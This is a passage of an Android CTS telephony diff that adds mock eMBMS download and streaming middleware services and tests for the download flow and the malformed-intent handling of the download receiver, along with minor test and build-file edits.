+            mDownloadStateCallback = listener;
+            return MbmsErrors.SUCCESS;
+        }
+
+        @Override
+        public void dispose(int subscriptionId) {
+            Bundle b = new Bundle();
+            b.putString(METHOD_NAME, METHOD_CLOSE);
+            b.putInt(ARGUMENT_SUBSCRIPTION_ID, subscriptionId);
+            mReceivedCalls.add(b);
+        }
+
+        @Override
+        public int getDownloadStatus(DownloadRequest downloadRequest, FileInfo fileInfo) {
+            Bundle b = new Bundle();
+            b.putString(METHOD_NAME, METHOD_GET_DOWNLOAD_STATUS);
+            b.putParcelable(ARGUMENT_DOWNLOAD_REQUEST, downloadRequest);
+            b.putParcelable(ARGUMENT_FILE_INFO, fileInfo);
+            mReceivedCalls.add(b);
+            return MbmsDownloadSession.STATUS_ACTIVELY_DOWNLOADING;
+        }
+
+        @Override
+        public int cancelDownload(DownloadRequest request) {
+            Bundle b = new Bundle();
+            b.putString(METHOD_NAME, METHOD_CANCEL_DOWNLOAD);
+            b.putParcelable(ARGUMENT_DOWNLOAD_REQUEST, request);
+            mReceivedCalls.add(b);
+            mReceivedRequests.remove(request);
+            return MbmsErrors.SUCCESS;
+        }
+
+        @Override
+        public List<DownloadRequest> listPendingDownloads(int subscriptionId) {
+            return mReceivedRequests;
+        }
+
+        @Override
+        public int unregisterStateCallback(DownloadRequest downloadRequest,
+                DownloadStateCallback callback) {
+            mDownloadStateCallback = null;
+            return MbmsErrors.SUCCESS;
+        }
+
+        @Override
+        public int resetDownloadKnowledge(DownloadRequest downloadRequest) {
+            Bundle b = new Bundle();
+            b.putString(METHOD_NAME, METHOD_RESET_DOWNLOAD_KNOWLEDGE);
+            b.putParcelable(ARGUMENT_DOWNLOAD_REQUEST, downloadRequest);
+            mReceivedCalls.add(b);
+            return MbmsErrors.SUCCESS;
+        }
+
+        @Override
+        public void onAppCallbackDied(int uid, int subscriptionId) {
+            mAppCallback = null;
+        }
+    };
+
+    private final IBinder mControlInterface = new ICtsDownloadMiddlewareControl.Stub() {
+        @Override
+        public void reset() {
+            mReceivedCalls.clear();
+            mHandler.removeCallbacksAndMessages(null);
+            mAppCallback = null;
+            mErrorCodeOverride = MbmsErrors.SUCCESS;
+            mReceivedRequests.clear();
+            mDownloadStateCallback = null;
+            mTempFileRootDirPath = null;
+        }
+
+        @Override
+        public List<Bundle> getDownloadSessionCalls() {
+            return mReceivedCalls;
+        }
+
+        @Override
+        public void forceErrorCode(int error) {
+            mErrorCodeOverride = error;
+        }
+
+        @Override
+        public void fireErrorOnSession(int errorCode, String message) {
+            mHandler.post(() -> mAppCallback.onError(errorCode, message));
+        }
+
+        @Override
+        public void fireOnProgressUpdated(DownloadRequest request, FileInfo fileInfo,
+                int currentDownloadSize, int fullDownloadSize,
+                int currentDecodedSize, int fullDecodedSize) {
+            if (mDownloadStateCallback == null) {
+                return;
+            }
+            mHandler.post(() -> mDownloadStateCallback.onProgressUpdated(request, fileInfo,
+                    currentDownloadSize, fullDownloadSize, currentDecodedSize, fullDecodedSize));
+        }
+
+        @Override
+        public void fireOnStateUpdated(DownloadRequest request, FileInfo fileInfo, int state) {
+            if (mDownloadStateCallback == null) {
+                return;
+            }
+            mHandler.post(() -> mDownloadStateCallback.onStateUpdated(request, fileInfo, state));
+        }
+
+        @Override
+        public void actuallyStartDownloadFlow() {
+            DownloadRequest request = mReceivedRequests.get(0);
+            // Compose the FILE_DESCRIPTOR_REQUEST_INTENT to get some FDs to write to
+            Intent requestIntent = new Intent(VendorUtils.ACTION_FILE_DESCRIPTOR_REQUEST);
+            requestIntent.putExtra(VendorUtils.EXTRA_SERVICE_ID, request.getFileServiceId());
+            requestIntent.putExtra(VendorUtils.EXTRA_FD_COUNT, 1);
+            requestIntent.putExtra(VendorUtils.EXTRA_TEMP_FILE_ROOT, mTempFileRootDirPath);
+            requestIntent.setComponent(CTS_TEST_RECEIVER_COMPONENT);
+
+            // Send as an ordered broadcast, using a BroadcastReceiver to capture the result
+            // containing UriPathPairs.
+            logd("Sending fd-request broadcast");
+            sendOrderedBroadcast(requestIntent,
+                    null, // receiverPermission
+                    new BroadcastReceiver() {
+                        @Override
+                        public void onReceive(Context context, Intent intent) {
+                            logd("Got file-descriptors");
+                            Bundle extras = getResultExtras(false);
+                            UriPathPair tempFile = (UriPathPair) extras.getParcelableArrayList(
+                                    VendorUtils.EXTRA_FREE_URI_LIST).get(0);
+                            int result = MbmsDownloadSession.RESULT_SUCCESSFUL;
+                            try {
+                                ParcelFileDescriptor tempFileFd =
+                                        getContentResolver().openFileDescriptor(
+                                                tempFile.getContentUri(), "rw");
+                                OutputStream destinationStream =
+                                        new ParcelFileDescriptor.AutoCloseOutputStream(tempFileFd);
+
+                                destinationStream.write(SAMPLE_FILE_DATA);
+                                destinationStream.flush();
+                            } catch (IOException e) {
+                                result = MbmsDownloadSession.RESULT_CANCELLED;
+                            }
+
+                            Intent downloadResultIntent =
+                                    new Intent(VendorUtils.ACTION_DOWNLOAD_RESULT_INTERNAL);
+                            downloadResultIntent.putExtra(
+                                    MbmsDownloadSession.EXTRA_MBMS_DOWNLOAD_REQUEST, request);
+                            downloadResultIntent.putExtra(VendorUtils.EXTRA_FINAL_URI,
+                                    tempFile.getFilePathUri());
+                            downloadResultIntent.putExtra(MbmsDownloadSession.EXTRA_MBMS_FILE_INFO,
+                                    FILE_INFO);
+                            downloadResultIntent.putExtra(VendorUtils.EXTRA_TEMP_FILE_ROOT,
+                                    mTempFileRootDirPath);
+                            downloadResultIntent.putExtra(
+                                    MbmsDownloadSession.EXTRA_MBMS_DOWNLOAD_RESULT, result);
+                            downloadResultIntent.setComponent(CTS_TEST_RECEIVER_COMPONENT);
+
+                            logd("Sending broadcast to app: " + downloadResultIntent.toString());
+                            sendOrderedBroadcast(downloadResultIntent,
+                                    null, // receiverPermission
+                                    new BroadcastReceiver() {
+                                        @Override
+                                        public void onReceive(Context context, Intent intent) {
+                                            Bundle b = new Bundle();
+                                            b.putString(METHOD_NAME, METHOD_DOWNLOAD_RESULT_ACK);
+                                            b.putInt(ARGUMENT_RESULT_CODE, getResultCode());
+                                            mReceivedCalls.add(b);
+                                        }
+                                    },
+                                    null, // scheduler
+                                    Activity.RESULT_OK,
+                                    null, // initialData
+                                    null /* initialExtras */);
+                        }
+                    },
+                    mHandler, // scheduler
+                    Activity.RESULT_OK,
+                    null, // initialData
+                    null /* initialExtras */);
+
+        }
+    };
+
+    @Override
+    public void onDestroy() {
+        super.onCreate();
+        mHandlerThread.quitSafely();
+        logd("CtsDownloadService onDestroy");
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        if (CONTROL_INTERFACE_ACTION.equals(intent.getAction())) {
+            logd("CtsDownloadService control interface bind");
+            return mControlInterface;
+        }
+
+        logd("CtsDownloadService onBind");
+        if (mHandlerThread != null && mHandlerThread.isAlive()) {
+            return mDownloadServiceImpl;
+        }
+
+        mHandlerThread = new HandlerThread("CtsDownloadServiceWorker");
+        mHandlerThread.start();
+        mHandler = new Handler(mHandlerThread.getLooper());
+        return mDownloadServiceImpl;
+    }
+
+    private static void logd(String s) {
+        Log.d(TAG, s);
+    }
+
+    private void checkInitialized() {
+        if (mAppCallback == null) {
+            throw new IllegalStateException("Not yet initialized");
+        }
+    }
+}
diff --git a/tests/tests/telephony/EmbmsMiddlewareTestApp/src/android/telephony/cts/embmstestapp/CtsStreamingService.java b/tests/tests/telephony/EmbmsMiddlewareTestApp/src/android/telephony/cts/embmstestapp/CtsStreamingService.java
new file mode 100644
index 0000000..9e95a0d
--- /dev/null
+++ b/tests/tests/telephony/EmbmsMiddlewareTestApp/src/android/telephony/cts/embmstestapp/CtsStreamingService.java
@@ -0,0 +1,271 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telephony.cts.embmstestapp;
+
+import android.app.Service;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Binder;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.IBinder;
+import android.os.RemoteException;
+import android.telephony.mbms.MbmsErrors;
+import android.telephony.mbms.MbmsStreamingSessionCallback;
+import android.telephony.mbms.StreamingService;
+import android.telephony.mbms.StreamingServiceCallback;
+import android.telephony.mbms.StreamingServiceInfo;
+import android.telephony.mbms.vendor.MbmsStreamingServiceBase;
+import android.util.Log;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Locale;
+import java.util.Map;
+import java.util.Set;
+
+public class CtsStreamingService extends Service {
+    private static final Set<String> ALLOWED_PACKAGES = new HashSet<String>() {{
+        add("android.telephony.cts");
+    }};
+    private static final String TAG = "EmbmsTestStreaming";
+
+    public static final String METHOD_INITIALIZE = "initialize";
+    public static final String METHOD_REQUEST_UPDATE_STREAMING_SERVICES =
+            "requestUpdateStreamingServices";
+    public static final String METHOD_START_STREAMING = "startStreaming";
+    public static final String METHOD_GET_PLAYBACK_URI = "getPlaybackUri";
+    public static final String METHOD_STOP_STREAMING = "stopStreaming";
+    public static final String METHOD_CLOSE = "close";
+
+    public static final String CONTROL_INTERFACE_ACTION =
+            "android.telephony.cts.embmstestapp.ACTION_CONTROL_MIDDLEWARE";
+    public static final ComponentName CONTROL_INTERFACE_COMPONENT =
+            ComponentName.unflattenFromString(
+                    "android.telephony.cts.embmstestapp/.CtsStreamingService");
+    public static final Uri STREAMING_URI = Uri.parse("http://www.example.com/stream1");
+
+    public static final StreamingServiceInfo STREAMING_SERVICE_INFO;
+    static {
+        String id = "StreamingServiceId";
+        Map<Locale, String> localeDict = new HashMap<Locale, String>() {{
+            put(Locale.US, "Entertainment Source 1");
+            put(Locale.CANADA, "Entertainment Source 1, eh?");
+        }};
+        List<Locale> locales = new ArrayList<Locale>() {{
+            add(Locale.CANADA);
+            add(Locale.US);
+        }};
+        STREAMING_SERVICE_INFO = new StreamingServiceInfo(localeDict, "class1", locales,
+                id, new Date(2017, 8, 21, 18, 20, 29),
+                new Date(2017, 8, 21, 18, 23, 9));
+    }
+
+    private static final int SEND_STREAMING_SERVICES_LIST = 1;
+
+    private MbmsStreamingSessionCallback mAppCallback;
+    private StreamingServiceCallback mStreamCallback;
+
+    private HandlerThread mHandlerThread;
+    private Handler mHandler;
+    private Handler.Callback mWorkerCallback = (msg) -> {
+        switch (msg.what) {
+            case SEND_STREAMING_SERVICES_LIST:
+                List<StreamingServiceInfo> services = (List<StreamingServiceInfo>) msg.obj;
+                if (mAppCallback!= null) {
+                    mAppCallback.onStreamingServicesUpdated(services);
+                }
+                break;
+        }
+        return true;
+    };
+    private List<List> mReceivedCalls = new LinkedList<>();
+    private int mErrorCodeOverride = MbmsErrors.SUCCESS;
+
+    private final MbmsStreamingServiceBase mStreamingServiceImpl = new MbmsStreamingServiceBase() {
+        @Override
+        public int initialize(MbmsStreamingSessionCallback callback, int subId) {
+            mReceivedCalls.add(Arrays.asList(METHOD_INITIALIZE, subId));
+            if (mErrorCodeOverride != MbmsErrors.SUCCESS) {
+                return mErrorCodeOverride;
+            }
+
+
+            int packageUid = Binder.getCallingUid();
+            String[] packageNames = getPackageManager().getPackagesForUid(packageUid);
+            if (packageNames == null) {
+                return MbmsErrors.InitializationErrors.ERROR_APP_PERMISSIONS_NOT_GRANTED;
+            }
+            boolean isUidAllowed = Arrays.stream(packageNames).anyMatch(ALLOWED_PACKAGES::contains);
+            if (!isUidAllowed) {
+                return MbmsErrors.InitializationErrors.ERROR_APP_PERMISSIONS_NOT_GRANTED;
+            }
+
+            mHandler.post(() -> {
+                if (mAppCallback == null) {
+                    mAppCallback = callback;
+                } else {
+                    callback.onError(
+                            MbmsErrors.InitializationErrors.ERROR_DUPLICATE_INITIALIZE, "");
+                    return;
+                }
+                callback.onMiddlewareReady();
+            });
+            return MbmsErrors.SUCCESS;
+        }
+
+        @Override
+        public int requestUpdateStreamingServices(int subscriptionId, List<String> serviceClasses) {
+            mReceivedCalls.add(Arrays.asList(METHOD_REQUEST_UPDATE_STREAMING_SERVICES,
+                    subscriptionId, serviceClasses));
+            if (mErrorCodeOverride != MbmsErrors.SUCCESS) {
+                return mErrorCodeOverride;
+            }
+
+            List<StreamingServiceInfo> serviceInfos =
+                    Collections.singletonList(STREAMING_SERVICE_INFO);
+
+            mHandler.removeMessages(SEND_STREAMING_SERVICES_LIST);
+            mHandler.sendMessage(
+                    mHandler.obtainMessage(SEND_STREAMING_SERVICES_LIST, serviceInfos));
+            return MbmsErrors.SUCCESS;
+        }
+
+        @Override
+        public int startStreaming(int subscriptionId, String serviceId,
+                StreamingServiceCallback callback) {
+            mReceivedCalls.add(Arrays.asList(METHOD_START_STREAMING, subscriptionId, serviceId));
+            if (mErrorCodeOverride != MbmsErrors.SUCCESS) {
+                return mErrorCodeOverride;
+            }
+
+            mStreamCallback = callback;
+            mHandler.post(() -> callback.onStreamStateUpdated(StreamingService.STATE_STARTED,
+                    StreamingService.REASON_BY_USER_REQUEST));
+            return MbmsErrors.SUCCESS;
+        }
+
+        @Override
+        public Uri getPlaybackUri(int subscriptionId, String serviceId) {
+            mReceivedCalls.add(Arrays.asList(METHOD_GET_PLAYBACK_URI, subscriptionId, serviceId));
+            return STREAMING_URI;
+        }
+
+        @Override
+        public void stopStreaming(int subscriptionId, String serviceId) {
+            mReceivedCalls.add(Arrays.asList(METHOD_STOP_STREAMING, subscriptionId, serviceId));
+        }
+
+        @Override
+        public void dispose(int subscriptionId) {
+            mReceivedCalls.add(Arrays.asList(METHOD_CLOSE, subscriptionId));
+            // TODO
+        }
+
+        @Override
+        public void onAppCallbackDied(int uid, int subscriptionId) {
+            mAppCallback = null;
+        }
+    };
+
+    private final IBinder mControlInterface = new ICtsStreamingMiddlewareControl.Stub() {
+        @Override
+        public void reset() {
+            mReceivedCalls.clear();
+            mHandler.removeCallbacksAndMessages(null);
+            mAppCallback = null;
+            mErrorCodeOverride = MbmsErrors.SUCCESS;
+        }
+
+        @Override
+        public List getStreamingSessionCalls() {
+            return mReceivedCalls;
+        }
+
+        @Override
+        public void forceErrorCode(int error) {
+            mErrorCodeOverride = error;
+        }
+
+        @Override
+        public void fireErrorOnStream(int errorCode, String message) {
+            mHandler.post(() -> mStreamCallback.onError(errorCode, message));
+        }
+
+        @Override
+        public void fireErrorOnSession(int errorCode, String message) {
+            mHandler.post(() -> mAppCallback.onError(errorCode, message));
+        }
+
+        @Override
+        public void fireOnMediaDescriptionUpdated() {
+            mHandler.post(() -> mStreamCallback.onMediaDescriptionUpdated());
+        }
+
+        @Override
+        public void fireOnBroadcastSignalStrengthUpdated(int signalStrength) {
+            mHandler.post(() -> mStreamCallback.onBroadcastSignalStrengthUpdated(signalStrength));
+        }
+
+        @Override
+        public void fireOnStreamMethodUpdated(int methodType){
+            mHandler.post(() -> mStreamCallback.onStreamMethodUpdated(methodType));
+        }
+    };
+
+    @Override
+    public void onDestroy() {
+        super.onCreate();
+        mHandlerThread.quitSafely();
+        logd("CtsStreamingService onDestroy");
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        if (CONTROL_INTERFACE_ACTION.equals(intent.getAction())) {
+            logd("CtsStreamingService control interface bind");
+            return mControlInterface;
+        }
+
+        logd("CtsStreamingService onBind");
+        if (mHandlerThread != null && mHandlerThread.isAlive()) {
+            return mStreamingServiceImpl;
+        }
+
+        mHandlerThread = new HandlerThread("CtsStreamingServiceWorker");
+        mHandlerThread.start();
+        mHandler = new Handler(mHandlerThread.getLooper(), mWorkerCallback);
+        return mStreamingServiceImpl;
+    }
+
+    private static void logd(String s) {
+        Log.d(TAG, s);
+    }
+
+    private void checkInitialized() {
+        if (mAppCallback == null) {
+            throw new IllegalStateException("Not yet initialized");
+        }
+    }
+}
diff --git a/tests/tests/telephony/preconditions/Android.mk b/tests/tests/telephony/preconditions/Android.mk
index 6577932..1b49e7e 100644
--- a/tests/tests/telephony/preconditions/Android.mk
+++ b/tests/tests/telephony/preconditions/Android.mk
@@ -25,7 +25,7 @@
 LOCAL_MODULE := compatibility-host-telephony-preconditions
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/tests/telephony/preconditions/app/Android.mk b/tests/tests/telephony/preconditions/app/Android.mk
index 349daed..72cbbce 100644
--- a/tests/tests/telephony/preconditions/app/Android.mk
+++ b/tests/tests/telephony/preconditions/app/Android.mk
@@ -32,7 +32,7 @@
                                 compatibility-device-preconditions
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsTelephonyPreparerApp
 
diff --git a/tests/tests/telephony/src/android/telephony/cts/CellInfoTest.java b/tests/tests/telephony/src/android/telephony/cts/CellInfoTest.java
index 2dffd4d..a1423af 100644
--- a/tests/tests/telephony/src/android/telephony/cts/CellInfoTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/CellInfoTest.java
@@ -187,9 +187,12 @@
         assertTrue("getLevel() out of range [0,4], level=" + level, level >=0 && level <= 4);
 
         int bsic = gsm.getCellIdentity().getBsic();
-        // TODO(b/32774471) - Bsic should always be valid, so Integer.MAX_VALUE shouldn't be needed
-        assertTrue("getBsic() out of range [0,63]",
-                (bsic >= 0 && bsic <= 63) || bsic == Integer.MAX_VALUE);
+        // TODO(b/32774471) - Bsic should always be valid
+        //assertTrue("getBsic() out of range [0,63]", bsic >=0 && bsic <=63);
+
+        int ta = gsm.getCellSignalStrength().getTimingAdvance();
+        assertTrue("getTimingAdvance() out of range [0,219] | Integer.MAX_VALUE, ta=" + ta,
+                ta == Integer.MAX_VALUE || (ta >= 0 && ta <= 219));
     }
 
     // Rssi(in dbm) should be within [MIN_RSSI, MAX_RSSI].
diff --git a/tests/tests/telephony/src/android/telephony/cts/PhoneNumberUtilsTest.java b/tests/tests/telephony/src/android/telephony/cts/PhoneNumberUtilsTest.java
index 873e496..c8718b6 100644
--- a/tests/tests/telephony/src/android/telephony/cts/PhoneNumberUtilsTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/PhoneNumberUtilsTest.java
@@ -305,31 +305,6 @@
         assertFalse(PhoneNumberUtils.isWellFormedSmsAddress("android"));
     }
 
-    public void testIsUriNumber() {
-        assertTrue(PhoneNumberUtils.isUriNumber("foo@google.com"));
-        assertTrue(PhoneNumberUtils.isUriNumber("xyz@zzz.org"));
-        assertFalse(PhoneNumberUtils.isUriNumber("+15103331245"));
-        assertFalse(PhoneNumberUtils.isUriNumber("+659231235"));
-    }
-
-    public void testGetUsernameFromUriNumber() {
-        assertEquals("john", PhoneNumberUtils.getUsernameFromUriNumber("john@myorg.com"));
-        assertEquals("tim_123", PhoneNumberUtils.getUsernameFromUriNumber("tim_123@zzz.org"));
-        assertEquals("5103331245", PhoneNumberUtils.getUsernameFromUriNumber("5103331245"));
-    }
-
-    public void testConvertAndStrip() {
-        // Untouched number.
-        assertEquals("123456789", PhoneNumberUtils.convertAndStrip("123456789"));
-        // Dashes should be stripped, legal separators (i.e. wild character remain untouched)
-        assertEquals("+15103331245*123", PhoneNumberUtils.convertAndStrip("+1-510-333-1245*123"));
-        // Arabic digits should be converted
-        assertEquals("5567861616", PhoneNumberUtils.convertAndStrip("٥‎٥‎٦‎٧‎٨‎٦‎١‎٦‎١‎٦‎"));
-        // Arabic digits converted and spaces stripped
-        assertEquals("5567861616", PhoneNumberUtils.convertAndStrip("٥‎ ٥‎٦‎ ٧‎ ٨‎ ٦‎ ١‎ ٦‎ ١‎ ٦‎"));
-
-    }
-
     public void testGetPhoneTtsSpan() {
         // Setup: phone number without a country code. Lets keep coverage minimal to avoid
         // exercising the underlying PhoneNumberUtil or constraining localization changes.
diff --git a/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
index 79097e0..a6404e0 100644
--- a/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
@@ -509,7 +509,7 @@
 
         if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             if (!TextUtils.isEmpty(meid)) {
-                assertMeidEsn(meid);
+                assertImei(meid);
             } else {
                 // If MEID is empty, then IMEI must not be empty. A phone should have either a
                 // IMEI or MEID. The validation of IMEI will be checked by testGetImei().
diff --git a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadFlowTest.java b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadFlowTest.java
new file mode 100644
index 0000000..5089381
--- /dev/null
+++ b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadFlowTest.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telephony.embms.cts;
+
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+import android.telephony.MbmsDownloadSession;
+import android.telephony.cts.embmstestapp.CtsDownloadService;
+import android.telephony.mbms.MbmsDownloadReceiver;
+
+import java.io.File;
+import java.io.InputStream;
+import java.util.List;
+
+public class MbmsDownloadFlowTest extends MbmsDownloadTestBase {
+    private File tempFileRootDir;
+    private String tempFileRootDirPath;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        tempFileRootDir = new File(mContext.getFilesDir(), "CtsTestDir");
+        tempFileRootDir.mkdir();
+        tempFileRootDirPath = tempFileRootDir.getCanonicalPath();
+        mDownloadSession.setTempFileRootDirectory(tempFileRootDir);
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        recursiveDelete(tempFileRootDir);
+        tempFileRootDir = null;
+        super.tearDown();
+    }
+
+    public void testFileDownloadFlow() throws Exception {
+        MbmsDownloadReceiverTest.AppIntentCapture captor =
+                new MbmsDownloadReceiverTest.AppIntentCapture(mContext, mCallbackHandler);
+        mDownloadSession.download(MbmsDownloadReceiverTest.TEST_DOWNLOAD_REQUEST);
+        mMiddlewareControl.actuallyStartDownloadFlow();
+        Intent downloadDoneIntent = captor.getIntent();
+
+        assertEquals(MbmsDownloadReceiverTest.APP_INTENT_ACTION, downloadDoneIntent.getAction());
+        assertEquals(MbmsDownloadSession.RESULT_SUCCESSFUL,
+                downloadDoneIntent.getIntExtra(MbmsDownloadSession.EXTRA_MBMS_DOWNLOAD_RESULT, -1));
+        assertEquals(MbmsDownloadReceiverTest.TEST_DOWNLOAD_REQUEST,
+                downloadDoneIntent.getParcelableExtra(
+                        MbmsDownloadSession.EXTRA_MBMS_DOWNLOAD_REQUEST));
+        assertEquals(CtsDownloadService.FILE_INFO,
+                downloadDoneIntent.getParcelableExtra(MbmsDownloadSession.EXTRA_MBMS_FILE_INFO));
+        Uri fileUri = downloadDoneIntent.getParcelableExtra(
+                MbmsDownloadSession.EXTRA_MBMS_COMPLETED_FILE_URI);
+        InputStream is = mContext.getContentResolver().openInputStream(fileUri);
+        byte[] contents = new byte[CtsDownloadService.SAMPLE_FILE_DATA.length];
+        is.read(contents);
+        for (int i = 0; i < contents.length; i++) {
+            assertEquals(contents[i], CtsDownloadService.SAMPLE_FILE_DATA[i]);
+        }
+
+        List<Bundle> downloadResultAck =
+                getMiddlewareCalls(CtsDownloadService.METHOD_DOWNLOAD_RESULT_ACK);
+        assertEquals(1, downloadResultAck.size());
+        assertEquals(MbmsDownloadReceiver.RESULT_OK,
+                downloadResultAck.get(0).getInt(CtsDownloadService.ARGUMENT_RESULT_CODE, -1));
+    }
+}
diff --git a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadReceiverTest.java b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadReceiverTest.java
new file mode 100644
index 0000000..2495af3
--- /dev/null
+++ b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadReceiverTest.java
@@ -0,0 +1,267 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telephony.embms.cts;
+
+import android.content.BroadcastReceiver;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Handler;
+import android.telephony.MbmsDownloadSession;
+import android.telephony.cts.embmstestapp.CtsDownloadService;
+import android.telephony.mbms.DownloadRequest;
+import android.telephony.mbms.MbmsDownloadReceiver;
+import android.telephony.mbms.UriPathPair;
+import android.telephony.mbms.vendor.VendorUtils;
+
+import java.io.File;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Objects;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+import java.util.stream.Collectors;
+
+public class MbmsDownloadReceiverTest extends MbmsDownloadTestBase {
+    private static final String CTS_BROADCAST_PERMISSION =
+            "android.telephony.embms.cts.permission.TEST_BROADCAST";
+    private static final String TEST_SERVICE_ID = "service_id";
+
+    public static final String APP_INTENT_ACTION =
+            "android.telephony.embms.cts.ACTION_TEST_DOWNLOAD_COMPLETE";
+    public static final DownloadRequest TEST_DOWNLOAD_REQUEST = DOWNLOAD_REQUEST_TEMPLATE
+            .setAppIntent(new Intent(APP_INTENT_ACTION))
+            .build();
+
+    public static class AppIntentCapture {
+        private final BlockingQueue<Intent> mReceivedIntent = new LinkedBlockingQueue<>();
+        private final BroadcastReceiver mAppIntentReceiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                mReceivedIntent.add(intent);
+            }
+        };
+        private Context mContext;
+
+        public AppIntentCapture(Context context, Handler handler) {
+            mContext = context;
+            IntentFilter filter = new IntentFilter(APP_INTENT_ACTION);
+            mContext.registerReceiver(mAppIntentReceiver, filter, null, handler);
+        }
+
+        public Intent getIntent() {
+            try {
+                Intent result = mReceivedIntent.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+                mContext.unregisterReceiver(mAppIntentReceiver);
+                return result;
+            } catch (InterruptedException e) {
+                fail("test was interrupted");
+                return null;
+            }
+        }
+    }
+
+    private MbmsDownloadReceiver mReceiver;
+    private File tempFileRootDir;
+    private String tempFileRootDirPath;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        mReceiver = new MbmsDownloadReceiver();
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(VendorUtils.ACTION_DOWNLOAD_RESULT_INTERNAL);
+        filter.addAction(VendorUtils.ACTION_CLEANUP);
+        filter.addAction(VendorUtils.ACTION_FILE_DESCRIPTOR_REQUEST);
+        mContext.registerReceiver(mReceiver, filter);
+        tempFileRootDir = new File(mContext.getFilesDir(), "CtsTestDir");
+        tempFileRootDir.mkdir();
+        tempFileRootDirPath = tempFileRootDir.getCanonicalPath();
+        mDownloadSession.setTempFileRootDirectory(tempFileRootDir);
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        recursiveDelete(tempFileRootDir);
+        tempFileRootDir = null;
+        super.tearDown();
+    }
+
+    public void testMalformedIntents() throws Exception {
+        Intent downloadCompleteIntent = new Intent(VendorUtils.ACTION_DOWNLOAD_RESULT_INTERNAL);
+        sendBroadcastAndValidate(downloadCompleteIntent,
+                MbmsDownloadReceiver.RESULT_MALFORMED_INTENT);
+
+        Intent fdRequestIntent = new Intent(VendorUtils.ACTION_FILE_DESCRIPTOR_REQUEST);
+        sendBroadcastAndValidate(fdRequestIntent,
+                MbmsDownloadReceiver.RESULT_MALFORMED_INTENT);
+
+        Intent cleanupIntent = new Intent(VendorUtils.ACTION_CLEANUP);
+        sendBroadcastAndValidate(cleanupIntent,
+                MbmsDownloadReceiver.RESULT_MALFORMED_INTENT);
+    }
+
+    public void testBadTempFileDirectory() throws Exception {
+        Intent cleanupIntent = new Intent(VendorUtils.ACTION_CLEANUP);
+        populateIntentWithCommonFields(cleanupIntent);
+        cleanupIntent.putParcelableArrayListExtra(VendorUtils.EXTRA_TEMP_FILES_IN_USE,
+                new ArrayList<>(0));
+        cleanupIntent.putExtra(VendorUtils.EXTRA_TEMP_FILE_ROOT, "this is not a directory path");
+        sendBroadcastAndValidate(cleanupIntent,
+                MbmsDownloadReceiver.RESULT_BAD_TEMP_FILE_ROOT);
+    }
+
+    public void testDownloadFailureIntent() throws Exception {
